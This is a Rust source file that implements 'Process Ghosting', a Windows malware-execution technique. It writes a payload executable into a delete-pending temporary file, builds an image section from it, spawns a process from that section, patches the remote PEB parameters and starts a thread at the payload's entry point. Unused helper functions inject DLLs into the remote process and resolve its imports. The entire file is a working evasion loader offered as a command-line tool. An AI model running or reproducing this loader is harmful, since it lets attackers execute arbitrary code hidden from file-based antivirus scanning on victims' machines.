/*
    ProcessGhosting in Rust
    Author: @5mukx
*/

use std::{
    ffi::CString, mem::{size_of, zeroed}, path::Path, ptr::null_mut
};


use winapi::{
    ctypes::c_void, shared::{
        minwindef::{FALSE, LPCVOID, LPVOID, MAX_PATH, TRUE},
        ntdef::{
            InitializeObjectAttributes, HANDLE, NTSTATUS, NT_SUCCESS, NULL, OBJECT_ATTRIBUTES,
            PUNICODE_STRING, PVOID, UNICODE_STRING,
        },
        ntstatus::{STATUS_INVALID_PARAMETER, STATUS_SUCCESS},
    }, um::{
        errhandlingapi::GetLastError, fileapi::{
            CreateFileA, GetFileSize, GetTempFileNameA, GetTempPathA, FILE_DISPOSITION_INFO,
            OPEN_EXISTING,
        }, handleapi::{CloseHandle, INVALID_HANDLE_VALUE}, libloaderapi::{GetModuleHandleA, GetProcAddress, LoadLibraryA}, memoryapi::{
            MapViewOfFile, UnmapViewOfFile, VirtualAlloc, VirtualAllocEx, VirtualFree, VirtualProtect, WriteProcessMemory, FILE_MAP_READ
        }, processenv::GetCurrentDirectoryA, synchapi::WaitForSingleObject, userenv::CreateEnvironmentBlock, winbase::CreateFileMappingA, winnt::{
            DELETE, FILE_ATTRIBUTE_NORMAL, FILE_GENERIC_READ, FILE_GENERIC_WRITE, FILE_SHARE_READ, FILE_SHARE_WRITE, GENERIC_READ, IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, IMAGE_FILE_MACHINE_AMD64, IMAGE_IMPORT_DESCRIPTOR, IMAGE_NT_HEADERS32, IMAGE_NT_HEADERS64, IMAGE_NT_SIGNATURE, LARGE_INTEGER, MEM_COMMIT, MEM_DECOMMIT, MEM_RESERVE, PAGE_READONLY, PAGE_READWRITE, PROCESS_ALL_ACCESS, SECTION_ALL_ACCESS, SEC_IMAGE, SYNCHRONIZE, THREAD_ALL_ACCESS
        }, winsock2::WSADATA
    }
};

use ntapi::{
    ntioapi::{
        FileDispositionInformation, NtOpenFile, NtSetInformationFile, NtWriteFile, FILE_SUPERSEDE,
        FILE_SYNCHRONOUS_IO_NONALERT, IO_STATUS_BLOCK, PIO_APC_ROUTINE,
    },
    ntmmapi::{NtCreateSection, NtReadVirtualMemory},
    ntobapi::NtClose,
    ntpebteb::{PEB, PPEB},
    ntpsapi::{
        NtCreateProcessEx, NtCreateThreadEx, NtCurrentPeb, NtCurrentProcess,
        NtQueryInformationProcess, NtTerminateProcess, ProcessBasicInformation,
        PROCESS_BASIC_INFORMATION, PROCESS_CREATE_FLAGS_INHERIT_HANDLES,
    },
    ntrtl::{
        RtlCreateProcessParametersEx, RtlInitUnicodeString, PRTL_USER_PROCESS_PARAMETERS,
        RTL_USER_PROC_PARAMS_NORMALIZED,
    },
};



#[derive(Debug)]
struct Error {
    status: NTSTATUS,
}

impl core::convert::From<NTSTATUS> for Error {
    fn from(status: NTSTATUS) -> Self {
        Self { status }
    }
}

unsafe fn open_file(path: &str) -> Result<HANDLE, Error> {
    let mut wide_string: Vec<_> = format!("\\??\\{}", path).encode_utf16().collect();
    wide_string.push(0x0);
    let mut us_path = zeroed::<UNICODE_STRING>();
    RtlInitUnicodeString(&mut us_path, wide_string.as_ptr());

    let mut attr = zeroed::<OBJECT_ATTRIBUTES>();
    InitializeObjectAttributes(&mut attr, &mut us_path, 0x00000040, NULL, NULL);

    let mut status_block = zeroed::<IO_STATUS_BLOCK>();
    let mut filehandle: HANDLE = INVALID_HANDLE_VALUE;
    let status = NtOpenFile(
        &mut filehandle,
        DELETE | SYNCHRONIZE | FILE_GENERIC_WRITE | FILE_GENERIC_READ,
        &mut attr,
        &mut status_block,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        FILE_SUPERSEDE | FILE_SYNCHRONOUS_IO_NONALERT,
    );
    if !NT_SUCCESS(status) {
        println!("[!] Failed to open file, status: 0x{:x}", status);
        return Err(Error::from(status));
    }

    Ok(filehandle)
}

unsafe fn make_section_from_delete_pending_file(
    path: &str,
    payload: LPVOID,
    size: u32,
) -> Result<HANDLE, Error> {
    match open_file(path) {
        Ok(delete_file_handle) => {
            let mut status_block = zeroed::<IO_STATUS_BLOCK>();
            let mut info = zeroed::<FILE_DISPOSITION_INFO>();
            info.DeleteFile = 1;

            let status = NtSetInformationFile(
                delete_file_handle,
                &mut status_block,
                &mut info as *const _ as *mut _,
                size_of::<FILE_DISPOSITION_INFO>() as u32,
                FileDispositionInformation,
            );
            if !NT_SUCCESS(status) {
                println!("[!] Setting file information failed: 0x{:x}", status);
                NtClose(delete_file_handle);
                return Err(Error::from(status));
            }
            println!("[+] NtSetInformationFile Success");

            let mut li = zeroed::<LARGE_INTEGER>();
            let status = NtWriteFile(
                delete_file_handle,
                NULL,
                zeroed::<PIO_APC_ROUTINE>(),
                NULL,
                &mut status_block,
                payload,
                size,
                &mut li,
                null_mut(),
            );
            if !NT_SUCCESS(status) {
                println!("[!] Writing payload failed: 0x{:x}", status);
                NtClose(delete_file_handle);
                return Err(Error::from(status));
            }
            println!("[+] NtWriteFile Success");

            let mut section_handle: HANDLE = INVALID_HANDLE_VALUE;
            let status = NtCreateSection(
                &mut section_handle,
                SECTION_ALL_ACCESS,
                null_mut(),
                null_mut(),
                PAGE_READONLY,
                SEC_IMAGE,
                delete_file_handle,
            );
            if !NT_SUCCESS(status) {
                println!("[!] Creating image section failed: 0x{:x}", status);
                NtClose(delete_file_handle);
                return Err(Error::from(status));
            }
            println!("[+] NtCreateSection Success");

            NtClose(delete_file_handle);

            Ok(section_handle)
        }
        Err(err) => Err(err),
    }
}

#[inline]
unsafe fn get_current_directory() -> String {
    let mut cur_dir = String::with_capacity(MAX_PATH);
    GetCurrentDirectoryA(MAX_PATH as u32, cur_dir.as_mut_ptr().cast());
    cur_dir
}

#[inline]
unsafe fn get_directory(path: &str) -> Option<&str> {
    let path = Path::new(path);
    match path.parent() {
        Some(parent) => match parent.exists() {
            true => parent.to_str(),
            false => None,
        },
        None => None,
    }
}

unsafe fn write_params_into_process(
    process_handle: HANDLE,
    params: PRTL_USER_PROCESS_PARAMETERS,
) -> LPVOID {
    if params == null_mut() {
        return NULL;
    }

    let remote_addr = VirtualAllocEx(
        process_handle,
        params as *mut _,
        (*params).Length as usize + (*params).EnvironmentSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE,
    );
    if remote_addr == NULL {
        println!("[!] Allocating RemoteProcessParams failed: {}", GetLastError());
        return NULL;
    }

    if WriteProcessMemory(
        process_handle,
        params as *mut _,
        params as *const _,
        (*params).Length as usize,
        null_mut(),
    ) == FALSE {
        println!("[!] Writing RemoteProcessParams failed: {}", GetLastError());
        VirtualFree(remote_addr, 0, MEM_DECOMMIT);
        return NULL;
    }

    if (*params).Environment != NULL {
        if WriteProcessMemory(
            process_handle,
            (*params).Environment as *mut _,
            (*params).Environment as *const _,
            (*params).EnvironmentSize,
            null_mut(),
        ) == FALSE {
            println!("[!] Writing EnvironmentBlock failed: {}", GetLastError());
            VirtualFree(remote_addr, 0, MEM_DECOMMIT);
            return NULL;
        }
    }

    println!("[+] Params Ready!");
    params as *mut _
}

unsafe fn set_params_in_peb(params: LPVOID, process_handle: HANDLE, remote_peb: PPEB) -> bool {
    let to_pvoid = std::mem::transmute::<&PRTL_USER_PROCESS_PARAMETERS, LPVOID>(
        &(*remote_peb).ProcessParameters,
    );
    let params_to_lpcvoid = std::mem::transmute::<&PVOID, LPCVOID>(&params);
    if WriteProcessMemory(
        process_handle,
        to_pvoid,
        params_to_lpcvoid,
        size_of::<PVOID>(),
        null_mut(),
    ) == FALSE {
        println!("[!] Cannot update parameters: {}", GetLastError());
        return false;
    }
    true
}

unsafe fn setup_process_parameters(
    process_handle: HANDLE,
    pbi: PROCESS_BASIC_INFORMATION,
    target_path: &str,
) -> Result<(), Error> {
    
    let mut wide_target_path: Vec<_> = target_path.encode_utf16().collect();
    wide_target_path.push(0x0);
    let mut us_target_path = zeroed::<UNICODE_STRING>();
    RtlInitUnicodeString(&mut us_target_path, wide_target_path.as_ptr());

    let cur_dir = get_current_directory();
    let target_dir = get_directory(target_path).unwrap_or(cur_dir.as_str());
    let mut wide_target_dir: Vec<_> = target_dir.encode_utf16().collect();
    wide_target_dir.push(0x0);
    let mut us_target_dir = zeroed::<UNICODE_STRING>();
    RtlInitUnicodeString(&mut us_target_dir, wide_target_dir.as_ptr());

    let dll_dir = "C:\\Windows\\System32";
    let mut wide_dll_dir: Vec<_> = dll_dir.encode_utf16().collect();
    wide_dll_dir.push(0x0);
    let mut us_dll_dir = zeroed::<UNICODE_STRING>();
    RtlInitUnicodeString(&mut us_dll_dir, wide_dll_dir.as_ptr());

    let window_name = target_path;
    let mut wide_window_name: Vec<_> = window_name.encode_utf16().collect();
    wide_window_name.push(0x0);
    let mut us_window_name = zeroed::<UNICODE_STRING>();
    RtlInitUnicodeString(&mut us_window_name, wide_window_name.as_ptr());

    let mut env_block: LPVOID = null_mut();
    let x = CreateEnvironmentBlock(&mut env_block, NULL, TRUE);
    println!("[+] CreateEnvironmentBlock Success: {}", x);

    let mut desktop_info: PUNICODE_STRING = null_mut();
    let cur_proc_peb = NtCurrentPeb();
    if cur_proc_peb != null_mut() && (*cur_proc_peb).ProcessParameters != null_mut() {
        desktop_info = &mut (*(*cur_proc_peb).ProcessParameters).DesktopInfo;
    }

    let mut params: PRTL_USER_PROCESS_PARAMETERS = null_mut();
    let status = RtlCreateProcessParametersEx(
        &mut params,
        &mut us_target_path,
        &mut us_dll_dir,
        &mut us_target_dir,
        &mut us_target_path,
        env_block,
        &mut us_window_name,
        desktop_info,
        null_mut(),
        null_mut(),
        RTL_USER_PROC_PARAMS_NORMALIZED,
    );
    if !NT_SUCCESS(status) {
        println!("[!] Create Process Parameters Failed: 0x{:x}", status);
        return Err(Error::from(status));
    }

    let remote_params = write_params_into_process(process_handle, params);
    if remote_params == NULL {
        println!("[!] Cannot write parameters into remote process");
        return Err(Error::from(STATUS_INVALID_PARAMETER));
    }

    if !set_params_in_peb(remote_params as *mut _, process_handle, pbi.PebBaseAddress) {
        return Err(Error::from(STATUS_INVALID_PARAMETER));
    }

    println!("[+] Parameters Mapped!!");

    let remote_peb = buffer_remote_peb(process_handle, pbi)?;
    println!(
        "[+] Remote Parameters Block Address: 0x{:x}",
        remote_peb.ProcessParameters as usize
    );

    Ok(())
}

unsafe fn buffer_remote_peb(
    process_handle: HANDLE,
    pbi: PROCESS_BASIC_INFORMATION,
) -> Result<PEB, Error> {
    println!("[+] Remote PEB Address: 0x{:x}", pbi.PebBaseAddress as usize);
    let mut peb: PEB = zeroed::<PEB>();
    match NtReadVirtualMemory(
        process_handle,
        pbi.PebBaseAddress as *mut _,
        &mut peb as *const _ as *mut _,
        size_of::<PEB>(),
        null_mut(),
    ) {
        STATUS_SUCCESS => Ok(peb),
        status => {
            println!("[!] Read PEB failed: 0x{:x}", status);
            Err(Error::from(status))
        }
    }
}

unsafe fn get_nt_hdr(pe_buffer: LPVOID) -> LPVOID {
    if pe_buffer == NULL {
        return NULL;
    }
    let idh = pe_buffer as *const IMAGE_DOS_HEADER;
    if (*idh).e_magic != IMAGE_DOS_SIGNATURE {
        return NULL;
    }
    const MAX_OFFSET: i32 = 1024;
    let inh_offset = (*idh).e_lfanew;
    if inh_offset > MAX_OFFSET {
        return NULL;
    }
    let inh = (pe_buffer as usize + inh_offset as usize) as *const IMAGE_NT_HEADERS32;
    if (*inh).Signature != IMAGE_NT_SIGNATURE {
        return NULL;
    }
    inh as LPVOID
}

unsafe fn get_pe_architecture(pe_buffer: LPVOID) -> u16 {
    let inh = get_nt_hdr(pe_buffer);
    if inh == NULL {
        return 0;
    }
    (*(inh as *const IMAGE_NT_HEADERS32)).FileHeader.Machine
}

unsafe fn get_entry_point_rva(pe_buffer: LPVOID) -> Option<u32> {
    match get_nt_hdr(pe_buffer) {
        NULL => None,
        inh => match get_pe_architecture(pe_buffer) {
            IMAGE_FILE_MACHINE_AMD64 => {
                let inh = inh as *const IMAGE_NT_HEADERS64;
                Some((*inh).OptionalHeader.AddressOfEntryPoint)
            }
            _ => {
                let inh = inh as *const IMAGE_NT_HEADERS32;
                Some((*inh).OptionalHeader.AddressOfEntryPoint)
            }
        },
    }
}

#[allow(dead_code)]
unsafe fn initialize_winsock_in_remote(process_handle: HANDLE) -> Result<(), Error> {
    // memory allocation !
    let wsadata_size = size_of::<WSADATA>();

    let remote_wsadata = VirtualAllocEx(
        process_handle,
        null_mut(),
        wsadata_size,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE,
    );

    if remote_wsadata == NULL {
        println!("[!] VirtualAllocEx for WSADATA failed: {}", GetLastError());
        return Err(Error::from(STATUS_INVALID_PARAMETER));
    }

    // load Ws2_32.dll in the remote process
    let ws2_32_str = CString::new("Ws2_32.dll").unwrap();
    let remote_loadlibrary = GetProcAddress(
        GetModuleHandleA("kernel32.dll\0".as_ptr() as _),
        "LoadLibraryA\0".as_ptr() as _,
    );

    let remote_ws2_32 = VirtualAllocEx(
        process_handle,
        null_mut(),
        ws2_32_str.as_bytes_with_nul().len(),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE,
    );

    if remote_ws2_32 == NULL {
        println!("[!] VirtualAllocEx for Ws2_32.dll string failed: {}", GetLastError());
        VirtualFree(remote_wsadata, 0, MEM_DECOMMIT);
        return Err(Error::from(STATUS_INVALID_PARAMETER));
    }

    if WriteProcessMemory(
        process_handle,
        remote_ws2_32,
        ws2_32_str.as_ptr() as LPCVOID,
        ws2_32_str.as_bytes_with_nul().len(),
        null_mut(),
    ) == FALSE {
        println!("[!] WriteProcessMemory for Ws2_32.dll string failed: {}", GetLastError());
        VirtualFree(remote_wsadata, 0, MEM_DECOMMIT);
        VirtualFree(remote_ws2_32, 0, MEM_DECOMMIT);
        return Err(Error::from(STATUS_INVALID_PARAMETER));
    }

    let mut thread_handle: HANDLE = -1isize as *mut c_void;
    let status = NtCreateThreadEx(
        &mut thread_handle,
        THREAD_ALL_ACCESS,
        null_mut(),
        process_handle,
        remote_loadlibrary as *mut _,
        remote_ws2_32,
        0,
        0,
        0,
        0,
        null_mut(),
    );
    if !NT_SUCCESS(status) {
        println!("[!] NtCreateThreadEx for LoadLibraryA failed: 0x{:x}", status);
        VirtualFree(remote_wsadata, 0, MEM_DECOMMIT);
        VirtualFree(remote_ws2_32, 0, MEM_DECOMMIT);
        return Err(Error::from(status));
    }


    // Wait for the thread to complete
    WaitForSingleObject(thread_handle, 0xffffffff);
    CloseHandle(thread_handle);

    // Get the address of WSAStartup
    let ws2_32_handle = LoadLibraryA(ws2_32_str.as_ptr());
    let wsa_startup = GetProcAddress(ws2_32_handle, "WSAStartup\0".as_ptr() as _);
    if wsa_startup.is_null() {
        println!("[!] GetProcAddress for WSAStartup failed: {}", GetLastError());
        VirtualFree(remote_wsadata, 0, MEM_DECOMMIT);
        VirtualFree(remote_ws2_32, 0, MEM_DECOMMIT);
        return Err(Error::from(STATUS_INVALID_PARAMETER));
    }

    // Allocate memory for the version (MAKEWORD(2, 2))
    let version: u16 = 0x0202;
    let mut remote_version: LPVOID = null_mut();
    let mut attempt = 0;
    const MAX_ATTEMPTS: i32 = 3;
    while attempt < MAX_ATTEMPTS {
        remote_version = VirtualAllocEx(
            process_handle,
            null_mut(),
            size_of::<u16>(),
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE,
        );
        if remote_version != NULL { // Corrected condition: break on success
            break;
        }
        attempt += 1;
        println!("[!] VirtualAllocEx for version failed on attempt {}: {}", attempt, GetLastError());
        std::thread::sleep(std::time::Duration::from_millis(100)); // Brief delay before retry
    }
    if remote_version == NULL {
        println!("[!] VirtualAllocEx for version failed after {} attempts: {}", MAX_ATTEMPTS, GetLastError());
        VirtualFree(remote_wsadata, 0, MEM_DECOMMIT);
        VirtualFree(remote_ws2_32, 0, MEM_DECOMMIT);
        return Err(Error::from(STATUS_INVALID_PARAMETER));
    }

    if WriteProcessMemory(
        process_handle,
        remote_version,
        &version as *const _ as LPCVOID,
        size_of::<u16>(),
        null_mut(),
    ) == FALSE {
        println!("[!] WriteProcessMemory for version failed: {}", GetLastError());
        VirtualFree(remote_wsadata, 0, MEM_DECOMMIT);
        VirtualFree(remote_ws2_32, 0, MEM_DECOMMIT);
        VirtualFree(remote_version, 0, MEM_DECOMMIT);
        return Err(Error::from(STATUS_INVALID_PARAMETER));
    }
    // call WSAStartup in the remote process
    let mut thread_handle: HANDLE = INVALID_HANDLE_VALUE;
    let status = NtCreateThreadEx(
        &mut thread_handle,
        THREAD_ALL_ACCESS,
        null_mut(),
        process_handle,
        wsa_startup as *mut _,
        remote_version,
        0,
        0,
        0,
        0,
        null_mut(),
    );
    if !NT_SUCCESS(status) {
        println!("[!] NtCreateThreadEx for WSAStartup failed: 0x{:x}", status);
        VirtualFree(remote_wsadata, 0, MEM_DECOMMIT);
        VirtualFree(remote_ws2_32, 0, MEM_DECOMMIT);
        VirtualFree(remote_version, 0, MEM_DECOMMIT);
        return Err(Error::from(status));
    }

    WaitForSingleObject(thread_handle, 0xffffffff);
    CloseHandle(thread_handle);

    println!("[+] Winsock initialized in remote process");
    VirtualFree(remote_wsadata, 0, MEM_DECOMMIT);
    VirtualFree(remote_ws2_32, 0, MEM_DECOMMIT);
    VirtualFree(remote_version, 0, MEM_DECOMMIT);

    Ok(())
}

#[allow(dead_code)]
unsafe fn resolve_iat(process_handle: HANDLE, pe_buffer: LPVOID, image_base: LPVOID) -> Result<(), Error> {
    let nt_hdr = get_nt_hdr(pe_buffer);
    if nt_hdr == NULL {
        println!("[!] Invalid NT headers");
        return Err(Error::from(STATUS_INVALID_PARAMETER));
    }

    let nt_hdr_64 = nt_hdr as *const IMAGE_NT_HEADERS64;
    let nt_hdr_32 = nt_hdr as *const IMAGE_NT_HEADERS32;
    println!("PASSED UNTIL NT-HDR");

    let import_dir_rva = match get_pe_architecture(pe_buffer) {
        IMAGE_FILE_MACHINE_AMD64 => (*nt_hdr_64).OptionalHeader.DataDirectory[1].VirtualAddress,
        _ => (*nt_hdr_32).OptionalHeader.DataDirectory[1].VirtualAddress,
    };

    if import_dir_rva == 0 {
        println!("[+] No imports to resolve");
        return Ok(());
    }

    let import_dir = (image_base as usize + import_dir_rva as usize) as *const IMAGE_IMPORT_DESCRIPTOR;
    let mut current_import = import_dir;

    println!("PASSED UNTIL IMPORTS");

    while (*current_import).Name != 0 {
        println!("PASSED UNTIL WHILE LOOP");

        let dll_name = (image_base as usize + (*current_import).Name as usize) as *const i8;
        if dll_name.is_null() {
            println!("[!] Invalid DLL name pointer");
            return Err(Error::from(STATUS_INVALID_PARAMETER));
        }
            println!("PASSED UNTIL DLL NAME");


        let dll_name_str = CString::from_raw(dll_name as *mut i8);
        let dll_name_cstr = dll_name_str.to_str().unwrap_or("");
        
        // Load the DLL in the remote process
        let remote_dll_name = VirtualAllocEx(
            process_handle,
            null_mut(),
            dll_name_str.as_bytes_with_nul().len(),
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE,
        );
        if remote_dll_name == NULL {
            println!("[!] VirtualAllocEx for DLL name failed: {}", GetLastError());
            return Err(Error::from(STATUS_INVALID_PARAMETER));
        }

        if WriteProcessMemory(
            process_handle,
            remote_dll_name,
            dll_name_str.as_ptr() as LPCVOID,
            dll_name_str.as_bytes_with_nul().len(),
            null_mut(),
        ) == FALSE {
            println!("[!] WriteProcessMemory for DLL name failed: {}", GetLastError());
            VirtualFree(remote_dll_name, 0, MEM_DECOMMIT);
            return Err(Error::from(STATUS_INVALID_PARAMETER));
        }

        let load_library = GetProcAddress(
            GetModuleHandleA("kernel32.dll\0".as_ptr() as _),
            "LoadLibraryA\0".as_ptr() as _,
        );
        let mut thread_handle: HANDLE = INVALID_HANDLE_VALUE;
        let status = NtCreateThreadEx(
            &mut thread_handle,
            THREAD_ALL_ACCESS,
            null_mut(),
            process_handle,
            load_library as *mut _,
            remote_dll_name,
            0,
            0,
            0,
            0,
            null_mut(),
        );
        if !NT_SUCCESS(status) {
            println!("[!] NtCreateThreadEx for LoadLibraryA failed: 0x{:x}", status);
            VirtualFree(remote_dll_name, 0, MEM_DECOMMIT);
            return Err(Error::from(status));
        }

        WaitForSingleObject(thread_handle, 0xffffffff);
        CloseHandle(thread_handle);
        VirtualFree(remote_dll_name, 0, MEM_DECOMMIT);

        // Load the DLL locally to resolve function addresses
        let dll_handle = LoadLibraryA(dll_name_str.as_ptr());
        if dll_handle.is_null() {
            println!("[!] LoadLibraryA for {} failed: {}", dll_name_cstr, GetLastError());
            return Err(Error::from(STATUS_INVALID_PARAMETER));
        }

        // Resolve the IAT
        let mut thunk = (image_base as usize + (*current_import).FirstThunk as usize) as *mut usize;
        if thunk.is_null() {
            println!("[!] Invalid thunk pointer");
            return Err(Error::from(STATUS_INVALID_PARAMETER));
        }

        let mut orig_thunk = if (*current_import).FirstThunk != 0 {
            (image_base as usize + (*current_import).FirstThunk as usize) as *const usize
        } else {
            (image_base as usize + (*current_import).FirstThunk as usize) as *const usize
        };

        if orig_thunk.is_null() {
            println!("[!] Invalid orig_thunk pointer");
            return Err(Error::from(STATUS_INVALID_PARAMETER));
        }

        while *orig_thunk != 0 {
            let import_by_name = (*orig_thunk & 0x80000000) == 0;
            if import_by_name {
                let import_name = (image_base as usize + (*orig_thunk & 0x7FFFFFFF) as usize + 2) as *const i8;
                if import_name.is_null() {
                    println!("[!] Invalid import name pointer");
                    return Err(Error::from(STATUS_INVALID_PARAMETER));
                }
                let import_name_str = CString::from_raw(import_name as *mut i8);
                let proc_addr = GetProcAddress(dll_handle, import_name_str.as_ptr());
                if proc_addr.is_null() {
                    println!("[!] GetProcAddress for {} failed: {}", import_name_str.to_str().unwrap_or(""), GetLastError());
                    return Err(Error::from(STATUS_INVALID_PARAMETER));
                }

                if WriteProcessMemory(
                    process_handle,
                    thunk as *mut _,
                    &proc_addr as *const _ as LPCVOID,
                    size_of::<usize>(),
                    null_mut(),
                ) == FALSE {
                    println!("[!] WriteProcessMemory for IAT entry failed: {}", GetLastError());
                    return Err(Error::from(STATUS_INVALID_PARAMETER));
                }
            }

            thunk = thunk.add(1);
            orig_thunk = orig_thunk.add(1);
        }

        current_import = current_import.add(1);
    }

    println!("[+] IAT resolved successfully");
    Ok(())
}


unsafe fn process_ghosting(
    target_path: &str,
    payload_buf: LPVOID,
    payload_size: u32,
) -> Result<(HANDLE, u32, u64), Error> {
    let mut temp_path: [u8; MAX_PATH] = [0; MAX_PATH];
    GetTempPathA(MAX_PATH as u32, temp_path.as_mut_ptr() as _);
    let mut dummy_name: [u8; MAX_PATH] = [0; MAX_PATH];
    GetTempFileNameA(
        temp_path.as_ptr() as _,
        "TH".as_ptr() as _,
        0,
        dummy_name.as_mut_ptr() as _,
    );
    let temp_path_str = String::from_utf8(dummy_name.to_vec())
        .unwrap_or_default()
        .trim_end_matches('\0')
        .to_string();
    println!("[+] Created Temp Path: {}", temp_path_str);

    match make_section_from_delete_pending_file(
        &temp_path_str,
        payload_buf,
        payload_size,
    ) {
        Ok(section_handle) => {
            let mut process_handle: HANDLE = INVALID_HANDLE_VALUE;
            let status = NtCreateProcessEx(
                &mut process_handle,
                PROCESS_ALL_ACCESS,
                null_mut(),
                NtCurrentProcess,
                PROCESS_CREATE_FLAGS_INHERIT_HANDLES,
                section_handle,
                null_mut(),
                null_mut(),
                0,
            );
            if !NT_SUCCESS(status) {
                println!("[!] Process create failed: 0x{:x}", status);
                return Err(Error::from(status));
            }

            println!("[+] Process Created Successfully");

            let mut pbi: PROCESS_BASIC_INFORMATION = zeroed::<PROCESS_BASIC_INFORMATION>();
            let status = NtQueryInformationProcess(
                process_handle,
                ProcessBasicInformation,
                &mut pbi as *const _ as *mut _,
                size_of::<PROCESS_BASIC_INFORMATION>() as u32,
                &mut zeroed::<u32>(),
            );

            if !NT_SUCCESS(status) {
                println!("[!] Query Process Information failed: 0x{:x}", status);
                NtTerminateProcess(process_handle, 0);
                return Err(Error::from(status));
            }

            println!("[+] Ghost Process PID: {}", pbi.UniqueProcessId as u32);

            let peb = buffer_remote_peb(process_handle, pbi)?;
            println!("[+] Ghost Process PEB: 0x{:x}000", peb.ImageBaseAddress as usize >> 12);

            let ep_rva = get_entry_point_rva(payload_buf)
                .expect("Get Payload Image Entry Point RVA Failed!");
            
            println!("[+] Entry Point Offset: 0x{:x}", ep_rva);
            
            let proc_entry = peb.ImageBaseAddress as u64 + ep_rva as u64;
            println!("[+] Ghost Process Entry Point: 0x{:x}", proc_entry);

            // Initialize Winsock and resolve IAT
            // println!("[+] Getting Winsock Initialization");
            // Testing => 
            // initialize_winsock_in_remote(process_handle)?;
            // resolve_iat(process_handle, payload_buf, peb.ImageBaseAddress)?;

            match setup_process_parameters(process_handle, pbi, target_path) {
                Ok(()) => {
                    let mut thread_handle: HANDLE = INVALID_HANDLE_VALUE;
                    let status = NtCreateThreadEx(
                        &mut thread_handle,
                        THREAD_ALL_ACCESS,
                        null_mut(),
                        process_handle,
                        proc_entry as *mut _,
                        null_mut(),
                        0,
                        0,
                        0,
                        0,
                        null_mut(),
                    );
                    if !NT_SUCCESS(status) {
                        println!("[!] Thread Create Failed: 0x{:x}", status);
                        NtTerminateProcess(process_handle, 0);
                        return Err(Error::from(status));
                    }
                    println!("[+] Ghost Process Executed");
                    Ok((process_handle, pbi.UniqueProcessId as u32, proc_entry))
                }
                Err(err) => {
                    NtTerminateProcess(process_handle, 0);
                    Err(err)
                }
            }
        }
        Err(err) => Err(err),
    }
}


unsafe fn buffer_payload(path: &str) -> Option<(PVOID, u32)> {
    let file_handle = CreateFileA(
        path.as_ptr() as *const _,
        GENERIC_READ,
        FILE_SHARE_READ,
        null_mut(),
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        null_mut(),
    );
    if file_handle == INVALID_HANDLE_VALUE {
        println!("[!] CreateFileA Failed: {}", GetLastError());
        return None;
    }
    println!("[+] CreateFileA Success");

    let map_handle = CreateFileMappingA(file_handle, null_mut(), PAGE_READONLY, 0, 0, null_mut());
    if map_handle == INVALID_HANDLE_VALUE {
        println!("[!] CreateFileMappingA Failed: {}", GetLastError());
        CloseHandle(file_handle);
        return None;
    }
    println!("[+] CreateFileMappingA Success");

    let mapped_view_addr = MapViewOfFile(map_handle, FILE_MAP_READ, 0, 0, 0);
    if mapped_view_addr == NULL {
        println!("[!] MapViewOfFile Failed: {}", GetLastError());
        CloseHandle(map_handle);
        CloseHandle(file_handle);
        return None;
    }
    println!("[+] MapViewOfFile Success");

    let file_size = GetFileSize(file_handle, null_mut());
    let payload_raw = VirtualAlloc(
        NULL,
        file_size as usize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE,
    );
    if payload_raw == NULL {
        println!("[!] VirtualAlloc Failed: {}", GetLastError());
        UnmapViewOfFile(mapped_view_addr);
        CloseHandle(map_handle);
        CloseHandle(file_handle);
        return None;
    }
    println!("[+] Successfully read payload file, SIZE: 0x{:x}", file_size);

    std::ptr::copy_nonoverlapping(
        mapped_view_addr as *const u8,
        payload_raw as *mut u8,
        file_size as usize,
    );

    println!("[+] Payload copied successfully");

    let mut old_protect = 0;
    if VirtualProtect(
        payload_raw,
        file_size as usize,
        PAGE_READONLY,
        &mut old_protect,
    ) == FALSE {
        println!("[!] VirtualProtect to READONLY Failed: {}", GetLastError());
    } else {
        println!("[+] Buffer hardened to PAGE_READONLY");
    }

    UnmapViewOfFile(mapped_view_addr);
    CloseHandle(map_handle);
    CloseHandle(file_handle);

    Some((payload_raw, file_size))
}

unsafe fn run_process_ghosting(target_path: &str, payload_path: &str) -> Result<(), Error> {
    println!("[*] Payload Path: {}", payload_path);
    println!("[*] Examining Scenario completed");

    let (payload_buf, payload_size) = buffer_payload(payload_path)
        .ok_or_else(|| Error { status: STATUS_INVALID_PARAMETER })?;
    println!("[+] Payload buffer: 0x{:x}", payload_buf as usize);

    let (process_handle, pid, entry_point) = process_ghosting(target_path, payload_buf, payload_size)?;

    println!("[+] Process Handle: 0x{:x}", process_handle as usize);
    println!("[+] Process ID: 0x{:x}", pid);
    println!("[+] Entry Point: 0x{:x}", entry_point);
    println!("[+] Ghost Process Executed Successfully");

    VirtualFree(payload_buf, payload_size as usize, MEM_DECOMMIT);
    Ok(())
}

fn main() {
    let args: Vec<String> = std::env::args().collect();
    if args.len() < 3 {
        let procname = Path::new(args[0].as_str())
            .file_name()
            .unwrap()
            .to_str()
            .unwrap();
        println!("Usage: {} <target_path> <payload_path>", procname);
        std::process::exit(1);
    }

    let target_path = args[1].as_str();
    let payload_path = args[2].as_str();

    unsafe {
        match run_process_ghosting(target_path, payload_path) {
            Ok(()) => println!("[+] Process Ghosting Completed Successfully"),
            Err(err) => println!("[!] Error: 0x{:x}", err.status),
        }
    }
}